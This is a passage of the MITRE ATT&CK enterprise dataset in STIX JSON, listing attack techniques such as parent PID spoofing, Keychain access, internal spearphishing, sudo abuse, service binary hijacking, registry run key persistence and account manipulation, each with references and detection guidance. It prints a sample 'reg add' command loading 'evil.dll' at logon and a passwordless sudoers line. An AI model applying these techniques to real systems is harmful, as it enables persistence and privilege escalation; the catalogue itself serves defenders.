            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142",
            "created": "2019-06-03T14:50:50.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1502",
                    "external_id": "T1502"
                },
                {
                    "source_name": "DidierStevens SelectMyParent Nov 2009",
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
                },
                {
                    "source_name": "Microsoft UAC Nov 2018",
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
                },
                {
                    "source_name": "CounterCept PPID Spoofing Dec 2018",
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
                    "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
                },
                {
                    "source_name": "XPNSec PPID Nov 2017",
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
                    "url": "https://blog.xpnsec.com/becoming-system/"
                },
                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
                },
                {
                    "source_name": "Secuirtyinbits Ataware3 May 2019",
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:55.200Z",
            "name": "Parent PID Spoofing",
            "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Wayne Silva, F-Secure Countercept"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1142",
                    "external_id": "T1142"
                },
                {
                    "source_name": "Wikipedia keychain",
                    "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Keychain_(software)"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:55.375Z",
            "name": "Keychain",
            "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747",
            "created": "2019-09-04T19:26:12.441Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1534",
                    "external_id": "T1534"
                },
                {
                    "source_name": "Trend Micro When Phishing Starts from the Inside 2017",
                    "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.",
                    "url": "https://blog.trendmicro.com/phishing-starts-inside/"
                },
                {
                    "source_name": "Int SP - chat apps",
                    "description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"
                },
                {
                    "source_name": "Trend Micro - Int SP",
                    "description": "Trend Micro. (n.d.). Retrieved February 16, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:42:40.610Z",
            "name": "Internal Spearphishing",
            "description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim MalcomVetter",
                "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1169",
                    "external_id": "T1169"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:55.648Z",
            "name": "Sudo",
            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
            "created": "2020-03-12T20:43:53.998Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/010",
                    "external_id": "T1574.010"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:32.419Z",
            "name": "Services File Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
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            "spec_version": "2.1",
            "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "created": "2020-01-23T22:02:48.566Z",
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                    "url": "https://attack.mitre.org/techniques/T1547/001",
                    "external_id": "T1547.001"
                },
                {
                    "source_name": "Malwarebytes Wow6432Node 2016",
                    "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
                    "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
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                {
                    "source_name": "Microsoft Wow6432Node 2018",
                    "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
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                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
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                {
                    "source_name": "Oddvar Moe RunOnceEx Mar 2018",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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            "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
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                    "source_name": "CISA IT Service Providers",
                    "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.",
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                    "source_name": "Office 365 Delegated Administration",
                    "description": "Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.",
                    "url": "https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us"
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                    "source_name": "Microsoft O365 Admin Roles",
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                    "source_name": "AWS Instance Profiles",
                    "description": "AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.",
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                    "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.",
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                    "source_name": "GCP Service Accounts",
                    "description": "Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.",
                    "url": "https://cloud.google.com/iam/docs/service-account-overview"
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                    "source_name": "Microsoft Azure AD Users",
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                    "source_name": "Microsoft Entra ID Service Principals",
                    "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"
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                {
                    "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                    "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
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            "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).",
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                    "source_name": "Prolific OSX Malware History",
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                },
                {
                    "source_name": "ExploitDB GoogleHacking",
                    "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
                    "url": "https://www.exploit-db.com/google-hacking-database"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:04:23.505Z",
            "name": "Search Open Websites/Domains",
            "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "created": "2017-05-31T21:31:12.196Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098",
                    "external_id": "T1098"
                },
                {
                    "source_name": "FireEye SMOKEDHAM June 2021",
                    "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
                },
                {
                    "source_name": "Microsoft Security Event 4670",
                    "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.",
                    "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670"
                },
                {
                    "source_name": "Microsoft User Modified Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738"
                },
                {
                    "source_name": "InsiderThreat ChangeNTLM July 2017",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
                },
                {
                    "source_name": "GitHub Mimikatz Issue 92 June 2017",
                    "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
                    "url": "https://github.com/gentilkiwi/mimikatz/issues/92"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:54.718Z",
            "name": "Account Manipulation",
            "description": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
                "Praetorian",
                "Tim MalcomVetter",
                "Wojciech Lesicki",
                "Arad Inbar, Fidelis Security"
            ],
            "x_mitre_deprecated": false,
